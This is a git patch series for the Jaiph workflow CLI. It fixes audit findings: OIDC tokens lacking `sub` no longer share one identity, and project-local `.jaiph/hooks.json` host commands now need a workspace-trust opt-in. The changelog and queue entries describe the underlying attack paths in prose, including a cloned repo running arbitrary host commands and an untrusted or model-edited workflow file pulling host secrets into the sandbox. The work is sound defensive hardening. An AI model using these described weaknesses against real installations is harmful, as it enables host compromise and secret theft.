@@ Each token is authorized by three OAuth scopes. Request them in the `scope` clai | `jaiph:inspect` | `GET /v1/workflows`, `/v1/runs`, a run, its events and artifacts; MCP `tools/list` | | `jaiph:cancel` | `POST /v1/runs/{id}/cancel` | -A missing capability is a `403` (`E_FORBIDDEN`). A principal is the token `sub`, and it may inspect or cancel only the runs it created. Another principal's run returns `404`, so it looks the same as a run that does not exist. The authenticated `sub` and the request's correlation id are attached to three places: each run's metadata (`principal` and `correlation_id` on the run object), the invoke and cancel audit log lines, and the OTLP resource attributes and Sentry tags. The correlation id comes from an `X-Correlation-Id` or `X-Request-Id` header, or a generated UUID when neither is present. Jaiph never attaches the token or a claim value. +A missing capability is a `403` (`E_FORBIDDEN`). A principal is identified by the token `sub`, falling back to `client_id` for `sub`-less machine tokens (OAuth2 client-credentials); a verified token carrying neither is rejected `401 E_UNAUTHORIZED` rather than sharing one identity, so distinct callers never share a run-visibility bucket or idempotency namespace. A principal may inspect or cancel only the runs it created. Another principal's run returns `404`, so it looks the same as a run that does not exist. The authenticated `sub` and the request's correlation id are attached to three places: each run's metadata (`principal` and `correlation_id` on the run object), the invoke and cancel audit log lines, and the OTLP resource attributes and Sentry tags. The correlation id comes from an `X-Correlation-Id` or `X-Request-Id` header, or a generated UUID when neither is present. Jaiph never attaches the token or a claim value. ```bash JAIPH_SERVE_OIDC_ISSUER=https://issuer.example \ diff --git a/integration/serve-auth.test.ts b/integration/serve-auth.test.ts index 7b882775..65538f25 100644 --- a/integration/serve-auth.test.ts +++ b/integration/serve-auth.test.ts @@ -35,8 +35,8 @@ const FIXTURE = [ interface Idp { issuer: string; jwksUri: string; - /** Sign a token with the trusted key (kid `k1`). */ - sign(claims: { sub: string; scope: string; issuer?: string; audience?: string; expiresInSec?: number }): Promise; + /** Sign a token with the trusted key (kid `k1`). Omit `sub` to mint a machine token (optionally carrying `clientId`). */ + sign(claims: { sub?: string; scope: string; clientId?: string; issuer?: string; audience?: string; expiresInSec?: number }): Promise; /** Sign a token with a key whose public half is NOT in the served JWKS. */ signUnknownKey(claims: { sub: string; scope: string }): Promise; close(): Promise; @@ -67,17 +67,17 @@ async function startIdp(): Promise { const port = (server.address() as AddressInfo).port; issuer = `http://127.0.0.1:${port}`; - async function signWith(key: KeyLike, kid: string, claims: { sub: string; scope: string; issuer?: string; audience?: string; expiresInSec?: number }): Promise { + async function signWith(key: KeyLike, kid: string, claims: { sub?: string; scope: string; clientId?: string; issuer?: string; audience?: string; expiresInSec?: number }): Promise { const now = Math.floor(Date.now() / 1000); const exp = now + (claims.expiresInSec ?? 3600); - return new SignJWT({ scope: claims.scope }) + const jwt = new SignJWT({ scope: claims.scope, ...(claims.clientId ? { client_id: claims.clientId } : {}) }) .setProtectedHeader({ alg: "RS256", kid }) .setIssuer(claims.issuer ?? issuer) .setAudience(claims.audience ?? AUDIENCE) - .setSubject(claims.sub) .setIssuedAt(now) - .setExpirationTime(exp) - .sign(key); + .setExpirationTime(exp); + if (claims.sub !== undefined) jwt.setSubject(claims.sub); + return jwt.sign(key); } return { @@ -263,6 +263,63 @@ test("jaiph serve OIDC: capabilities are separate, runs are per-principal, and i } }); +test("jaiph serve OIDC: sub-less machine tokens get distinct client_id identities and cannot cross-access; a token with neither is 401 (finding M-9)", async () => { + const idp = await startIdp(); + const root = mkdtempSync(join(tmpdir(), "jaiph-oidc-subless-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, FIXTURE); + const srv = await startServe( + jh, + root, + serveEnv(join(root, ".jaiph/runs"), { + JAIPH_SERVE_OIDC_ISSUER: idp.issuer, + JAIPH_SERVE_OIDC_AUDIENCE: AUDIENCE, + JAIPH_SERVE_OIDC_JWKS_URI: idp.jwksUri, + }), + ); + try { + const fullScope = "jaiph:invoke jaiph:inspect jaiph:cancel"; + // Two OAuth2 client-credentials tokens: no `sub`, distinct `client_id`. + const clientA = await idp.sign({ scope: fullScope, clientId: "service-a" }); + const clientB = await idp.sign({ scope: fullScope, clientId: "service-b" }); + + // Client A runs greet; the run records client A's identity, never the shared "unknown". + const created = await fetch(`${srv.baseUrl}/v1/workflows/greet/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json", ...bearer(clientA) }, + body: JSON.stringify({ name: "world" }), + }); + assert.equal(created.status, 200); + const run = await created.json(); + assert.equal(run.status, "succeeded"); + assert.equal(run.principal, "service-a", "the run records its creating client_id"); + assert.notEqual(run.principal, "unknown", "no principal collapses onto the shared constant"); + + // Client B (a distinct sub-less token) cannot enumerate or cancel client A's run. + assert.equal((await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}`, { headers: bearer(clientB) })).status, 404); + const bList = await (await fetch(`${srv.baseUrl}/v1/runs`, { headers: bearer(clientB) })).json(); + assert.equal(bList.total, 0, "client B's listing does not include client A's run"); + const cancelDenied = await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}/cancel`, { method: "POST", headers: bearer(clientB) }); + assert.equal(cancelDenied.status, 404, "client B cannot cancel client A's run"); + + // Client A still sees its own run. + assert.equal((await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}`, { headers: bearer(clientA) })).status, 200); + + // A verified token with neither `sub` nor `client_id` is rejected — never bucketed together. + const anon = await fetch(`${srv.baseUrl}/v1/workflows/greet/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json", ...bearer(await idp.sign({ scope: fullScope })) }, + body: JSON.stringify({ name: "x" }), + }); + assert.equal(anon.status, 401); + assert.equal((await anon.json()).error.code, "E_UNAUTHORIZED"); + } finally { + await srv.close(); + await idp.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + test("jaiph serve: --help documents the static token as single-operator, not multi-tenant", () => { const result = spawnSync("node", [CLI_PATH, "serve", "--help"], { encoding: "utf8", stdio: ["ignore", "pipe", "pipe"] }); assert.equal(result.status, 0); diff --git a/src/cli/serve/auth.test.ts b/src/cli/serve/auth.test.ts index 12db0b01..d0c8b3fc 100644 --- a/src/cli/serve/auth.test.ts +++ b/src/cli/serve/auth.test.ts @@ -3,6 +3,7 @@ import assert from "node:assert/strict"; import { createAuthenticator, capabilitiesFromClaims, + principalSubject, openPrincipal, ALL_CAPABILITIES, type Capability, @@ -77,6 +78,23 @@ test("capabilitiesFromClaims: a token with no jaiph scopes yields no capabilitie assert.deepEqual(sortedCaps(capabilitiesFromClaims({})), []); }); +// === principal identity (finding M-9) === + +test("principalSubject: prefers sub, falls back to client_id, else null — never a shared constant", () => { + assert.equal(principalSubject({ sub: "alice" }), "alice"); + // sub-less machine token (OAuth2 client-credentials) → distinct per-client identity. + assert.equal(principalSubject({ client_id: "service-a" } as Record), "service-a"); + assert.equal(principalSubject({ client_id: "service-b" } as Record), "service-b"); + // sub wins when both are present. + assert.equal(principalSubject({ sub: "alice", client_id: "svc" } as Record), "alice"); + // Neither claim → no identity; the caller is rejected, never bucketed together. + assert.equal(principalSubject({}), null); + assert.equal(principalSubject({ sub: "" }), null); + assert.equal(principalSubject({ sub: "", client_id: "" } as Record), null); + // The removed shared fallback must never come back for isolation purposes. + assert.notEqual(principalSubject({}), "unknown"); +}); + // === mode selection === test("createAuthenticator: OIDC config takes precedence over a static token", () => { diff --git a/src/cli/serve/auth.ts b/src/cli/serve/auth.ts index 66e24574..d0eba786 100644 --- a/src/cli/serve/auth.ts +++ b/src/cli/serve/auth.ts @@ -16,9 +16,11 @@ import { createRemoteJWKSet, jwtVerify, errors as joseErrors, type JWTPayload } * - **oidc** — a standard OIDC/JWT bearer. Tokens are verified against the * issuer's JWKS (a maintained JWT library, `jose`, does the crypto: signature, * `exp`/`nbf`, `aud`, `iss`, and `kid` selection with unknown-key refetch). - * The principal is the token `sub`; its capabilities come from OAuth scopes - * (`jaiph:invoke` / `jaiph:inspect` / `jaiph:cancel`); it may inspect/cancel - * only the runs it created. + * The principal identity is the token `sub`, falling back to `client_id` for + * `sub`-less machine tokens; a verified token carrying neither is rejected + * (never a shared constant — finding M-9). Its capabilities come from OAuth + * scopes (`jaiph:invoke` / `jaiph:inspect` / `jaiph:cancel`); it may + * inspect/cancel only the runs it created. */ /** A distinct action a principal may be authorized for. */ @@ -40,7 +42,7 @@ const SCOPE_FOR: Record = { * logs, OTLP resource attributes, and Sentry tags. */ export interface Principal { - /** Audit identity: JWT `sub` (oidc), `operator` (static), `anonymous` (open). */ + /** Audit identity: JWT `sub` else `client_id` (oidc), `operator` (static), `anonymous` (open). */ subject: string; /** Actions this principal is authorized for. */ capabilities: Set; @@ -111,6 +113,21 @@ function bearerToken(header: string | undefined): string | null { * are ignored. A token with none of the `jaiph:*` scopes gets no capability, so * every action is refused (403) — the insufficient-scope contract. */ +/** + * Derive the stable audit/isolation identity from a verified token. Prefer the + * standard `sub`; fall back to `client_id` (OAuth2 client-credentials / machine + * tokens commonly omit `sub`). Returns `null` when neither is a non-empty + * string — such a token is rejected rather than collapsed onto a shared + * constant, so two distinct callers can never share a run-visibility bucket or + * idempotency namespace (finding M-9). + */ +export function principalSubject(payload: JWTPayload): string | null { + if (typeof payload.sub === "string" && payload.sub.length > 0) return payload.sub; + const clientId = (payload as Record).client_id; + if (typeof clientId === "string" && clientId.length > 0) return clientId; + return null; +} + export function capabilitiesFromClaims(payload: JWTPayload): Set { const caps = new Set(); const raw: string[] = []; @@ -225,7 +242,8 @@ function createOidcAuthenticator(cfg: OidcConfig): Authenticator { } try { const { payload } = await jwtVerify(token, keys, { issuer: cfg.issuer, audience: cfg.audience }); - const subject = typeof payload.sub === "string" && payload.sub.length > 0 ? payload.sub : "unknown"; + const subject = principalSubject(payload); + if (subject === null) return unauthorized("token has no subject (sub/client_id) to identify the caller"); return { ok: true, principal: { subject, capabilities: capabilitiesFromClaims(payload), ownsAllRuns: false }, From ccbfaf69b0f21190e0836f3d211c7a3e1fd529cf Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 14:32:58 +0200 Subject: [PATCH 22/86] Feat: gate project-local hooks behind workspace-trust opt-in MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Project-local `/.jaiph/hooks.json` was loaded and merged with the global `~/.jaiph/hooks.json` unconditionally, and its commands ran in the host CLI process via `spawn(resolveShell(), ["-c", cmd], …)` — before and outside any Docker sandbox. Cloning a shared repo and running any workflow (`jaiph run`, `jaiph serve`, `jaiph mcp`) executed that repo's arbitrary host commands on `workflow_start` with no trust prompt (M-10). `loadMergedHooks` now takes a `trustProjectHooks` argument, and the callers pass the new `isProjectHooksTrusted(process.env)`, true only for `JAIPH_TRUST_PROJECT_HOOKS=1|true`. Absent the opt-in, a present-and- non-empty project file is ignored (never loaded) with a one-line stderr notice; the global file is unaffected and still runs. The opt-in is read from the host env only and added to `RESERVED_ENV_KEYS`, so a `.jh` file cannot name it via `--env` / `trusted_envs` and cannot trust itself. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 3 ++ QUEUE.md | 15 -------- docs/cli.md | 4 +- docs/env-vars.md | 1 + docs/hooks.md | 23 ++++++++--- docs/sandboxing.md | 2 +- integration/exec-policy.test.ts | 31 +++++++++++++-- src/cli/commands/run.ts | 4 +- src/cli/run/hooks.test.ts | 68 +++++++++++++++++++++++++++++++-- src/cli/run/hooks.ts | 37 +++++++++++++++++- src/cli/shared/generation.ts | 8 ++-- src/env-reserved.ts | 4 ++ 12 files changed, 163 insertions(+), 37 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ffdd1cd8..aa1317e4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,9 +10,12 @@ - **The image presence check no longer runs unhardened image code:** the check that confirms a Docker image contains `jaiph` before a run now uses the same sandbox hardening as the run itself (every capability dropped, no new privileges, a non-root user, and no network) and a non-login shell, so it can no longer source or execute startup and profile scripts baked into a workflow-selected image at a higher privilege than the run. - **A workflow file can no longer pull arbitrary host secrets into the Docker sandbox by declaring them:** the entry file's `trusted_envs` keys cross the sandbox allowlist only when the operator opts in with `JAIPH_TRUSTED_ENVS=1`. Absent the opt-in, a file-declared `trusted_envs` is ignored under Docker with a pre-flight warning, so an untrusted or model-edited entry naming `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` cannot forward that host secret across the allowlist on its own. Host modes have no allowlist to bypass, so they honour the declaration as before, and authoring the entry file is now a trust boundary equal to `--env`. - **A `sub`-less OIDC token no longer collapses onto one shared identity:** the OIDC principal is the token `sub`, falling back to `client_id` for machine tokens (OAuth2 client-credentials) that omit `sub`, and a verified token carrying neither claim is rejected with `401` instead of authenticating as a shared `unknown` principal. Two machine callers on the same issuer can no longer share one run-visibility bucket or idempotency namespace, so neither can list, read, or cancel the other's runs. +- **Project-local `.jaiph/hooks.json` no longer runs on the host without a workspace-trust decision:** hook commands run in the host CLI process, before and outside any Docker sandbox, so a `/.jaiph/hooks.json` that arrives with a cloned or untrusted repository is now gated behind the operator opt-in `JAIPH_TRUST_PROJECT_HOOKS=1`. Absent the opt-in, `jaiph run`, `jaiph serve`, and `jaiph mcp` ignore the project file with a one-line stderr notice, so a cloned repo cannot execute arbitrary host commands on `workflow_start`. The global `~/.jaiph/hooks.json` is the operator's own and always runs. ## All changes +- **Security — gate the project-local `.jaiph/hooks.json` behind a workspace-trust opt-in (finding M-10):** `loadMergedHooks` (`src/cli/run/hooks.ts`) loaded `/.jaiph/hooks.json` and merged it with the global `~/.jaiph/hooks.json` unconditionally, and both `runWorkflow` (`src/cli/commands/run.ts`) and `loadGeneration` (`src/cli/shared/generation.ts`) registered those commands to run in the host CLI process via `spawn(resolveShell(), ["-c", cmd], …)` (`runHooksForEvent`), before and outside any Docker sandbox. A user who cloned a shared repo and ran any workflow — `jaiph run flow.jh`, or a `jaiph serve` / `jaiph mcp` call — executed the repo's `.jaiph/hooks.json` host commands on `workflow_start` with no confirmation, allowlist, or trust prompt. `loadMergedHooks` now takes a `trustProjectHooks` argument, and the callers pass the new exported `isProjectHooksTrusted(process.env)`, which is true only for `JAIPH_TRUST_PROJECT_HOOKS=1` or `=true`. Absent the opt-in, a present-and-non-empty project file is ignored (its commands never load) and the CLI writes a one-line stderr notice naming the path and the opt-in; the global file is unaffected either way and still runs, including when an untrusted project file names the same event. `JAIPH_TRUST_PROJECT_HOOKS` is read from the host env only and is added to `RESERVED_ENV_KEYS` (`src/env-reserved.ts`), so a `.jh` file cannot name it via `--env` / `trusted_envs` and the file cannot trust itself. Tests: `src/cli/run/hooks.test.ts` (`loadMergedHooks` loads the project file only when trusted, ignores it when untrusted, keeps the global file under an untrusted workspace, and `isProjectHooksTrusted` honours only `1` / `true`) and `integration/exec-policy.test.ts` (an untrusted workspace runs no project hook and prints the notice, while the trusted path still dispatches all four events on `jaiph run`, `jaiph serve`, and `jaiph mcp`). Docs: [`JAIPH_TRUST_PROJECT_HOOKS`](docs/env-vars.md), the workspace-trust section in [Add a hook](docs/hooks.md), the hooks bullet in [Sandboxing](docs/sandboxing.md), and the reserved-key list on [CLI — `--env`](docs/cli.md). + - **Security — reject or distinctly identify OIDC tokens that lack `sub` (finding M-9):** `createOidcAuthenticator` (`src/cli/serve/auth.ts`) set the principal subject to `typeof payload.sub === "string" && payload.sub.length > 0 ? payload.sub : "unknown"`, and per-principal isolation keys entirely on `principal.subject`: `lookupRun` and `listRuns` compare `record.principal` to it (`src/cli/serve/handler.ts`), and the idempotency index is the composite `principal\nworkflow\nkey`. OIDC principals are scoped (`ownsAllRuns: false`) and may inspect or cancel only their own runs, but any two callers whose verified tokens omit `sub` (common for OAuth2 client-credentials / machine tokens) both authenticated as `subject === "unknown"` and shared one run-visibility bucket and idempotency namespace, so client B could enumerate and cancel client A's runs and collide on A's `Idempotency-Key`. Identity now comes from the new exported `principalSubject(payload)`, which returns the token `sub` when it is a non-empty string, else a non-empty `client_id`, else `null`; the authenticator rejects a verified token that yields `null` with `401` (`token has no subject (sub/client_id) to identify the caller`), so no principal is ever assigned the shared `unknown` constant for isolation. Tests: `src/cli/serve/auth.test.ts` (`principalSubject` prefers `sub`, falls back to `client_id`, returns `null` for neither or empty values, and is never `"unknown"`) and `integration/serve-auth.test.ts` (two `sub`-less tokens with distinct `client_id` get distinct identities and record their own `client_id` on the run; client B cannot read, list, or cancel client A's run; a token with neither claim is `401 E_UNAUTHORIZED`). Docs: the principal-identity clause in [CLI — `jaiph serve`](docs/cli.md#jaiph-serve), the `sub`/`client_id`/`401` note in [Serve workflows over HTTP](docs/serve.md), and the `jaiph.principal` note in [Export traces to an OTLP collector](docs/observability.md). - **Security — harden the image `jaiph`-presence probe and drop its login shell (finding M-8):** `imageHasJaiph` (`src/runtime/docker.ts`) confirmed an image contained `jaiph` by running `docker run --rm --entrypoint sh -lc "command -v jaiph …"` with none of the hardening a real run gets (`buildDockerArgs`): no `--cap-drop ALL`, no `--user`, no `--security-opt no-new-privileges`, and no `--network none`. The probed image comes from `runtime.docker_image` and is `docker pull`ed first, and `sh -lc` is a login shell that sources `/etc/profile` and `/etc/profile.d/*`, so profile scripts baked into a workflow-selected image ran as the image's default user (typically root), with default capabilities, new privileges allowed, and default bridge egress — before the run had even confirmed the image was the official runtime. The probe args are now built by the new `buildImageProbeArgs` (`src/runtime/docker.ts`), which applies the same hardening as a real run — `--cap-drop ALL`, `--security-opt no-new-privileges`, a pinned non-root `--user` (`PROBE_USER`, `65534:65534` / `nobody`, safe because the probe has no bind mounts to match to host ownership), and `--network none` — and runs a non-login `sh -c` instead of `sh -lc`, so `command -v jaiph` resolves only PATH and nothing image-controlled is sourced or executed. Tests: `src/runtime/docker.test.ts` (the probe args carry `--cap-drop ALL`, `--security-opt no-new-privileges`, a non-root `--user`, and `--network none`; the shell is `sh -c`, never `-l` / `-lc`; the probe command is the bare PATH lookup and references no profile script; and `verifyImageHasJaiph` probes through `buildImageProbeArgs` end to end) and `e2e/tests/74f_docker_probe_hardening.sh` (a derived image whose `/etc/profile.d` script aborts any login shell still passes the presence check, proving the probe never sources it). Docs: the presence-check hardening note in [Sandboxing](docs/sandboxing.md) and the verification-probe note under **Docker runtime helper** in [Architecture](docs/architecture.md#core-components). diff --git a/QUEUE.md b/QUEUE.md index 946ecbdd..8e5dcb16 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,21 +14,6 @@ Process rules: *** -## Gate project-local `.jaiph/hooks.json` behind a workspace-trust decision #dev-ready - -Context: ASI-03/ASI-05, MEDIUM, confidence 0.80. Finding M-10 — project hooks execute on the host with no trust gate. - -Problem: Hooks run on the host CLI even for Docker runs (`hooks.ts:127-169`, `spawn(resolveShell(), ["-c", cmd], …)`), and a project-local `/.jaiph/hooks.json` is loaded and executed automatically on `jaiph run` with no confirmation, allowlist, or workspace-trust prompt (`hooks.ts:96-119`, registered at `run.ts:140,243`). The hook payload is delivered safely on stdin, but the hook command strings come from a file that may have arrived with an untrusted repository. Docs call it "trusted config" (`docs/sandboxing.md:112`) but nothing enforces that boundary. A user cloning a shared Jaiph repo and running any workflow (`jaiph run flow.jh`) executes a malicious `.jaiph/hooks.json`'s arbitrary host commands on `workflow_start` — before and outside the Docker sandbox. - -Location: `src/cli/run/hooks.ts:96-119`, `:127-169`; `src/cli/commands/run.ts:140`, `:243`; `docs/sandboxing.md:112`. - -Remediation: Gate project-local hooks behind an explicit per-workspace trust decision (prompt on first use, or an opt-in flag / allowlist), mirroring editor "workspace trust." Global `~/.jaiph/hooks.json` can remain implicitly trusted. - -### Acceptance criteria -- Running a workflow in a workspace with an untrusted project-local `.jaiph/hooks.json` does not execute its hook commands without an explicit trust decision; a test asserts the hook does not run absent trust. -- After the operator grants trust (prompt/flag/allowlist), the project hooks run; a test asserts the trusted path works. -- Global `~/.jaiph/hooks.json` continues to run without the workspace-trust gate; a test asserts global hooks are unaffected. - ## Make release-install and runtime-image toolchain verification fail-closed #dev-ready Context: ASI-09, MEDIUM, confidence 0.80. Finding M-11 — release-install verification is fail-open and the runtime image pulls toolchains without checksums. diff --git a/docs/cli.md b/docs/cli.md index 26db929d..ef15fcad 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -62,7 +62,7 @@ Sandbox selection is environment-driven; there is no `--docker` flag. The boolea | `--inplace` | — | Front-end for `JAIPH_INPLACE=1`. On a TTY, prints a destructive-edit warning that **leads with the access scope** (edits land in this workspace directory only — `` — while the rest of your machine stays inside the Docker sandbox) plus the git-tree recovery posture, then requires `Continue? [y/N]` (default **no**). Non-TTY requires `--yes` / `JAIPH_INPLACE_YES` or aborts with `E_DOCKER_INPLACE_NO_CONFIRM`. | | `--unsafe` | — | Front-end for `JAIPH_UNSAFE=true`. Cannot be combined with `--inplace` (`E_FLAG_CONFLICT`). When this turns Docker off while it would otherwise be on, a **stronger** confirmation than `--inplace` fires: the warning states host-only / **no sandbox**, that filesystem access is your **entire machine** (not just the workspace), and that scripts and agent backends can read secrets from your environment and reach paths outside the project. On a TTY it requires `Continue? [y/N]` (default **no**); non-TTY requires `--yes` / `JAIPH_INPLACE_YES` or aborts with `E_UNSAFE_NO_CONFIRM`. No prompt fires when Docker is off for another reason (explicit `JAIPH_DOCKER_ENABLED=false`, or the Windows host-only override, which prints its own notice). `--raw` skips this prompt (embedding / Docker inner run). | | `-y`, `--yes` | — | Front-end for `JAIPH_INPLACE_YES=1`. Skips **both** the `--inplace` and `--unsafe` confirmation prompts — required to use either mode non-interactively. | -| `--env` | `KEY=VALUE` or `KEY` | Repeatable per-key environment passthrough into the workflow process. `--env KEY=VALUE` defines `KEY` with that exact value (first `=` splits; the value may contain `=`; empty is allowed). `--env KEY` forwards the host's current value, aborting with `E_ENV_MISSING` before spawning if `KEY` is unset on the host. `KEY` must match `[A-Za-z_][A-Za-z0-9_]*` (else `E_ENV_INVALID`). Reserved sandbox-control keys (`JAIPH_UNSAFE`, `JAIPH_INPLACE`, `JAIPH_INPLACE_YES`, any `JAIPH_DOCKER_*`, and the `JAIPH_TRUSTED_ENVS` opt-in) and runtime-managed keys (`JAIPH_WORKSPACE`, `JAIPH_RUNS_DIR`, `JAIPH_RUN_ID`, `JAIPH_SCRIPTS`, `JAIPH_MODULE_GRAPH_FILE`, `JAIPH_SOURCE_ABS`, `JAIPH_META_FILE`, `JAIPH_AGENT_TRUSTED_WORKSPACE`, `JAIPH_RUN_WORKFLOW`) are rejected with `E_ENV_RESERVED` — use the sandbox flags or real env vars for those. **In a Docker sandbox `--env` is the per-key consent that crosses the fail-closed env allowlist verbatim** (added as explicit `-e KEY=VALUE` container args, winning over any allowlist-forwarded value); see [Sandboxing — Environment exposure](sandboxing.md#env-exposure). Values are never path-remapped. | +| `--env` | `KEY=VALUE` or `KEY` | Repeatable per-key environment passthrough into the workflow process. `--env KEY=VALUE` defines `KEY` with that exact value (first `=` splits; the value may contain `=`; empty is allowed). `--env KEY` forwards the host's current value, aborting with `E_ENV_MISSING` before spawning if `KEY` is unset on the host. `KEY` must match `[A-Za-z_][A-Za-z0-9_]*` (else `E_ENV_INVALID`). Reserved sandbox-control keys (`JAIPH_UNSAFE`, `JAIPH_INPLACE`, `JAIPH_INPLACE_YES`, any `JAIPH_DOCKER_*`, the `JAIPH_TRUSTED_ENVS` opt-in, and the `JAIPH_TRUST_PROJECT_HOOKS` opt-in) and runtime-managed keys (`JAIPH_WORKSPACE`, `JAIPH_RUNS_DIR`, `JAIPH_RUN_ID`, `JAIPH_SCRIPTS`, `JAIPH_MODULE_GRAPH_FILE`, `JAIPH_SOURCE_ABS`, `JAIPH_META_FILE`, `JAIPH_AGENT_TRUSTED_WORKSPACE`, `JAIPH_RUN_WORKFLOW`) are rejected with `E_ENV_RESERVED` — use the sandbox flags or real env vars for those. **In a Docker sandbox `--env` is the per-key consent that crosses the fail-closed env allowlist verbatim** (added as explicit `-e KEY=VALUE` container args, winning over any allowlist-forwarded value); see [Sandboxing — Environment exposure](sandboxing.md#env-exposure). Values are never path-remapped. | | `--` | — | End of Jaiph flags; remaining tokens are forwarded to `workflow default`. | ### Pre-flight @@ -106,7 +106,7 @@ Interactive `jaiph run` only (`--raw` omits this block). On non-zero exit, the C ### Hook events -Hooks load from `~/.jaiph/hooks.json` (global) and `/.jaiph/hooks.json` (project-local; project overrides global per event). Hooks run on the **host** CLI process even in Docker mode. See [Add a hook](hooks.md). +Hooks load from `~/.jaiph/hooks.json` (global) and `/.jaiph/hooks.json` (project-local; project overrides global per event). Hooks run on the **host** CLI process even in Docker mode. The project-local file runs only when the operator trusts the workspace with `JAIPH_TRUST_PROJECT_HOOKS=1`; absent the opt-in it is ignored with a stderr notice while the global file still runs (finding M-10). See [Add a hook](hooks.md) and [`JAIPH_TRUST_PROJECT_HOOKS`](env-vars.md). ## `jaiph test` diff --git a/docs/env-vars.md b/docs/env-vars.md index 73eb690a..e790acb0 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -112,6 +112,7 @@ Inside a container the container is the sandbox, so unsafe host-only mode procee | `JAIPH_TELEMETRY_FLUSH_MS` | host | int (ms) | `10000` | — | Total flush budget for the post-run telemetry hook. The OTLP-trace and Sentry exporters run concurrently, each bounded by this, so the whole flush cannot exceed it. A non-positive or unparseable value falls back to the default. Best-effort only — never load-bearing on the run. | | `JAIPH_TEST_MODE` | runtime | bool (exact `"1"`) | `false` | — | Set by `jaiph test` so the runtime skips production-only branches (e.g. file-mode normalization). | | `JAIPH_TRUSTED_ENVS` | host | bool (`1` / `true`) | `false` | `trusted_envs` (entry file) | Operator opt-in that lets the **entry file's** `trusted_envs` cross the Docker sandbox allowlist. Absent it, a file-declared `trusted_envs` is ignored under Docker (with a warning) so an untrusted/model-edited entry cannot pull host secrets (e.g. `AWS_SECRET_ACCESS_KEY`) into the sandbox. Authoring the entry file is a trust boundary equal to `--env`. Host modes have no allowlist to bypass, so they honour the declaration regardless. Not itself settable via `--env` / `trusted_envs` (`E_ENV_RESERVED`). | +| `JAIPH_TRUST_PROJECT_HOOKS` | host | bool (`1` / `true`) | `false` | — | Operator opt-in that trusts the current workspace's project-local `.jaiph/hooks.json`. Hook commands run on the **host** CLI — before and outside any Docker sandbox — so absent this opt-in a project-local hooks file is ignored (with a one-line stderr notice) and none of its commands run: a cloned or untrusted repo cannot execute arbitrary host commands on `jaiph run` / `jaiph serve` / `jaiph mcp` (finding M-10). The global `~/.jaiph/hooks.json` is the operator's own and always runs regardless. Read from the host env only; not itself settable via `--env` / `trusted_envs` (`E_ENV_RESERVED`). | | `JAIPH_UNSAFE` | host | bool (`true` only) | `false` | — | Disable Docker for this run; execute on the host with **no sandbox** (entire filesystem and host environment visible to scripts and agent backends). `--unsafe` is the flag form on `jaiph run`, `jaiph serve`, and `jaiph mcp` (flag wins: it sets this variable for that process). Mutually exclusive with `JAIPH_INPLACE` / `--inplace` (`E_FLAG_CONFLICT`). When this turns Docker off while it would otherwise be on, `jaiph run` requires consent: a TTY warning + `Continue? [y/N]` (default no), or `JAIPH_INPLACE_YES` / `--yes` non-interactively (else `E_UNSAFE_NO_CONFIRM`). `jaiph serve` / `jaiph mcp` never prompt: launching the server with the flag or env var is the consent, and the effective posture is printed once at startup and applied to every call. No prompt when Docker is off for another reason (explicit `JAIPH_DOCKER_ENABLED=false`, Windows host-only override) or on `jaiph run --raw`. The `ghcr.io/jaiphlang/jaiph-runtime` image **bakes `JAIPH_UNSAFE=true`** so it can run standalone (`docker run … jaiph run flow.jh`, or as a k8s pod) — inside the image the container is the sandbox and unsafe host-only proceeds with a one-line notice; see [Deploy](deploy.md). | | `JAIPH_WORKSPACE` | host, runtime | path | autodetected | — | Workspace root. Inside Docker the host CLI overrides this to `/jaiph/workspace`. | diff --git a/docs/hooks.md b/docs/hooks.md index 0de7a94d..64cfe750 100644 --- a/docs/hooks.md +++ b/docs/hooks.md @@ -30,12 +30,22 @@ Some run modes dispatch no hooks. `jaiph run --raw` dispatches no hooks, because Hooks come from one of two files. Project hooks override global hooks for each event, and the lists are not merged. If the project file defines commands for an event, only those commands run for that event. Omit an event from the project file to keep the global commands for that event. -| Scope | Path | -|---|---| -| Global | `~/.jaiph/hooks.json` | -| Project | `/.jaiph/hooks.json` | +| Scope | Path | Trust | +|---|---|---| +| Global | `~/.jaiph/hooks.json` | Always runs (the operator's own file). | +| Project | `/.jaiph/hooks.json` | Runs only when the workspace is trusted (see below). | -Both files are optional. If a file contains invalid JSON, the CLI writes a `jaiph hooks: …` line to stderr and skips that file. Create the one you want: +Both files are optional. If a file contains invalid JSON, the CLI writes a `jaiph hooks: …` line to stderr and skips that file. + +Hook commands run on the **host**, before and outside any Docker sandbox, so a project-local `/.jaiph/hooks.json` that arrives with a cloned or untrusted repository is gated behind a per-workspace trust decision. Absent trust, the CLI ignores the project file and writes a one-line notice to stderr; the global file is unaffected. Trust the current workspace by exporting the opt-in before you run: + +```bash +export JAIPH_TRUST_PROJECT_HOOKS=1 +``` + +The variable is read from the host environment on `jaiph run`, `jaiph serve`, and `jaiph mcp`; it cannot be set from a `.jh` file via `--env` or `trusted_envs` (a file must not be able to trust itself). See [`JAIPH_TRUST_PROJECT_HOOKS`](env-vars.md). + +Create the one you want: ```bash mkdir -p .jaiph @@ -70,7 +80,10 @@ The CLI discards each hook's stdout and copies its stderr to the CLI's stderr. A ## 3. Run the workflow +Trust the workspace first if the hooks live in the project file (`/.jaiph/hooks.json`); global hooks need no opt-in. + ```bash +export JAIPH_TRUST_PROJECT_HOOKS=1 jaiph run ./flow.jh ``` diff --git a/docs/sandboxing.md b/docs/sandboxing.md index ba1af5e8..35675211 100644 --- a/docs/sandboxing.md +++ b/docs/sandboxing.md @@ -109,7 +109,7 @@ The following list covers what Docker does not defend, on purpose. - **Outbound network egress is on by default.** The sandbox passes `--network none` only when configuration sets the Docker network mode to `none`, through `JAIPH_DOCKER_NETWORK` or the module key `runtime.docker_network` 